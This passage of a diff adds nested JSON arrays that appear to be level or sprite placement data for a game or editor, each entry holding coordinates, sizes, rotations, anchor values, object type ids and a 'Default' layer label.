+ ]
+ ],
+ [
+ [
+ 0,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 15,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 92,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 7,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 184,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 16,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 276,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 368,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 9,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 460,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 10,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 552,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 12,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 644,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 13,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 736,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 23,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 828,
+ 693,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 28,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1059,
+ 582,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.8726649284362793,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 30,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1167,
+ 588,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 29,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1258.365966796875,
+ 588,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 31,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1350.415283203125,
+ 588,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 32,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1441.78125,
+ 588,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 33,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1399,
+ 1375,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 34,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1533.514892578125,
+ 588,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 35,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1624.880859375,
+ 588,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 36,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1851.805419921875,
+ 666.3726196289062,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.06981316953897476,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 37,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1953.88330078125,
+ 733.2373657226562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 111,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2044.88330078125,
+ 733.2373657226562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 112,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1953.883056640625,
+ 923.22900390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 38,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2045.201782226563,
+ 828.0267333984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 39,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2045.201782226563,
+ 923.2557373046875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 40,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1167.03857421875,
+ 683.2410278320312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 43,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1259.03857421875,
+ 683.2410278320312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 51,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1350.589965820313,
+ 683.2410278320312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 52,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1441.589965820313,
+ 683.2410278320312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 53,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1533.519165039063,
+ 683.2410278320312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 54,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1624.519165039063,
+ 683.2410278320312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 56,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 0,
+ 788,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 41,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 92,
+ 788,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 57,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 184,
+ 788,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 80,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 276,
+ 788,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 87,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 368,
+ 788,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 89,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 460,
+ 788,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 91,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 552.4238891601562,
+ 788.2725830078125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 93,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 644.4238891601562,
+ 788.2725830078125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 94,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 736.4238891601562,
+ 788.2725830078125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 95,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 828.4238891601562,
+ 788.2725830078125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 97,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2320.6630859375,
+ 828.5158081054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 60,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2320.663330078125,
+ 733.753173828125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 62,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2411.663330078125,
+ 733.753173828125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 66,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2320.6630859375,
+ 923.7448120117188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 69,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2411.981689453125,
+ 828.5425415039062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 70,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2411.981689453125,
+ 923.7715454101562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 71,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2762,
+ 718,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 46,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2762,
+ 623,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 49,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2853,
+ 623,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 50,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2762,
+ 812.989013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 58,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2853,
+ 718,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 72,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2853,
+ 812.989013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 74,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2945.383544921875,
+ 528.2818603515625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 75,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2945.383544921875,
+ 433.2818908691406,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 76,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3036.383544921875,
+ 433.2818908691406,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 99,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2945.383544921875,
+ 623.2818603515625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 100,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3036.383544921875,
+ 528.2818603515625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 106,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3036.383544921875,
+ 623.2818603515625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 109,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3128.2294921875,
+ 527.8504028320312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 113,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3128.2294921875,
+ 433.8504333496094,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 119,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3219.2294921875,
+ 433.8504333496094,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 123,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3128.2294921875,
+ 622.8504028320312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 148,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3219.2294921875,
+ 528.8504028320312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 154,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3219.2294921875,
+ 622.8504028320312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 155,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2944.996337890625,
+ 718,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 156,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2944.996337890625,
+ 812.989013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 183,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3035.996337890625,
+ 718,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 191,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3035.996337890625,
+ 812.989013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 194,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3127.84228515625,
+ 718,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 195,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3127.84228515625,
+ 812.989013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 196,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3218.84228515625,
+ 718,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 197,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3218.84228515625,
+ 812.989013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 199,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3311.518310546875,
+ 527.7647705078125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 184,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3311.518310546875,
+ 622.7647705078125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 185,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3311.518310546875,
+ 717.7647705078125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 187,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3311.131103515625,
+ 812.9143676757812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 188,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3404.017822265625,
+ 622.4317626953125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 189,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3404.017822265625,
+ 717.4317626953125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 193,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3404.017822265625,
+ 812.4317626953125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 200,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3496.439697265625,
+ 717.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 201,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3496.439697265625,
+ 812.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 202,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3588.1640625,
+ 717.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 203,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3588.1640625,
+ 812.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 204,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3875.774169921875,
+ 717.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 205,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3875.774169921875,
+ 812.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 207,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3967.49853515625,
+ 717.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 208,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3967.49853515625,
+ 812.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 209,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4059.8798828125,
+ 717.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 210,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4059.8798828125,
+ 812.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 211,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4151.6044921875,
+ 717.0989990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 246,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4151.6044921875,
